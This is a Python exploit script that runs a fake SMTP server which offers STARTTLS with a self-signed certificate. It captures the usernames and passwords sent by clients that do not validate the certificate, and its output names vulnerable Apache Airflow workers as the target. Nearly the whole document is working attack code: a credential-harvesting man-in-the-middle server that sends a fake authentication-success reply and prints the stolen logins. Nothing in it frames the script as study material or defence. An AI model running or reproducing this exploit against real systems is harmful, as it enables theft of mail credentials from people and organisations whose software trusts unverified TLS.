Payload

import socket
import ssl
import base64
import os

# --- Configuration ---
HOST = '0.0.0.0'
PORT = 587  # Common SMTP submission port that uses STARTTLS
CERT_FILE = 'cert.pem'
KEY_FILE = 'key.pem'

# --- Pre-computation ---
# '334 VXNlcm5hbWU6\r\n' is the base64 encoded 'Username:' prompt
USERNAME_PROMPT = b'334 ' + base64.b64encode(b'Username:') + b'\r\n'
# '334 UGFzc3dvcmQ6\r\n' is the base64 encoded 'Password:' prompt
PASSWORD_PROMPT = b'334 ' + base64.b64encode(b'Password:') + b'\r\n'

def generate_self_signed_cert(cert_path, key_path):
    """Generate self-signed certificate for the MitM server."""
    if not os.path.exists(cert_path) or not os.path.exists(key_path):
        print(f"[*] Generating self-signed certificate...")
        print(f"    - Certificate: {cert_path}")
        print(f"    - Private Key: {key_path}")
        os.system(
            f'openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 '
            f'-keyout {key_path} -out {cert_path} '
            f'-subj "/C=US/ST=N/A/L=N/A/O=MitM/OU=Evil Corp/CN=mail.example.com"'
        )
        print("[+] Certificate generated.")

def handle_client(conn, addr):
    """Handle a single SMTP client connection to capture credentials."""
    print(f"[+] Connection from: {addr}")
    try:
        # 1. Send SMTP Welcome Banner
        conn.sendall(b'220 mail.example.com ESMTP FakeSMTPServer\r\n')

        # 2. Receive EHLO and respond with STARTTLS capability
        data = conn.recv(1024)
        if not data.strip().upper().startswith(b'EHLO'):
            conn.close()
            return
        
        print(f"[C] --> [S]: {data.decode().strip()}")
        conn.sendall(b'250-mail.example.com\r\n')
        conn.sendall(b'250-PIPELINING\r\n')
        conn.sendall(b'250-SIZE 10240000\r\n')
        conn.sendall(b'250-VRFY\r\n')
        conn.sendall(b'250-ETRN\r\n')
        conn.sendall(b'250-STARTTLS\r\n')
        conn.sendall(b'250-AUTH LOGIN PLAIN\r\n')
        conn.sendall(b'250-ENHANCEDSTATUSCODES\r\n')
        conn.sendall(b'250 8BITMIME\r\n')
        print(f"[S] --> [C]: Offered STARTTLS")
        
        # 3. Wait for the STARTTLS command
        data = conn.recv(1024)
        if not data.strip().upper() == b'STARTTLS':
            conn.close()
            return
            
        print(f"[C] --> [S]: {data.decode().strip()}")
        conn.sendall(b'220 2.0.0 Ready to start TLS\r\n')
        print(f"[S] --> [C]: Acknowledged STARTTLS. Upgrading to TLS...")

        # 4. Wrap the socket with SSL/TLS using our self-signed cert
        # The vulnerable client will not validate this certificate.
        ssl_conn = ssl.wrap_socket(conn, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE, ssl_version=ssl.PROTOCOL_TLS)
        print("[+] Connection is now encrypted (but unverified by client).")

        # 5. Wait for AUTH LOGIN command over the "secure" channel
        data = ssl_conn.recv(1024)
        print(f"[C] --> [S] (TLS): {data.decode().strip()}")
        if not data.strip().upper().startswith(b'AUTH LOGIN'):
            ssl_conn.close()
            return
            
        # 6. Send username prompt
        ssl_conn.sendall(USERNAME_PROMPT)
        print(f"[S] --> [C] (TLS): Sent username prompt.")

        # 7. Receive and decode username
        user_b64 = ssl_conn.recv(1024).strip()
        username = base64.b64decode(user_b64).decode()
        print("\n" + "="*40)
        print(f"[***] CAPTURED USERNAME: {username}")
        print("="*40 + "\n")
        
        # 8. Send password prompt
        ssl_conn.sendall(PASSWORD_PROMPT)
        print(f"[S] --> [C] (TLS): Sent password prompt.")

        # 9. Receive and decode password
        pass_b64 = ssl_conn.recv(1024).strip()
        password = base64.b64decode(pass_b64).decode()
        print("="*40)
        print(f"[***] CAPTURED PASSWORD: {password}")
        print("="*40 + "\n")

        # 10. Send fake success message and close
        ssl_conn.sendall(b'235 2.7.0 Authentication successful\r\n')
        print("[+] Exploit successful. Sent fake auth success to client.")

    except (ssl.SSLError, ConnectionResetError, BrokenPipeError) as e:
        print(f"[!] Connection error: {e}")
    finally:
        if 'ssl_conn' in locals():
            ssl_conn.close()
        else:
            conn.close()
        print(f"[-] Connection closed for {addr}")

def main():
    """Main function to run the MitM server."""
    generate_self_signed_cert(CERT_FILE, KEY_FILE)
    
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(5)
    
    print(f"[*] Malicious SMTP server listening on {HOST}:{PORT}")
    print("[*] To trigger, point Airflow's SMTP connection to this server's IP.")
    print("[*] Waiting for a vulnerable Airflow worker to connect...")
    
    while True:
        conn, addr = server_socket.accept()
        handle_client(conn, addr)

if __name__ == '__main__':
    main()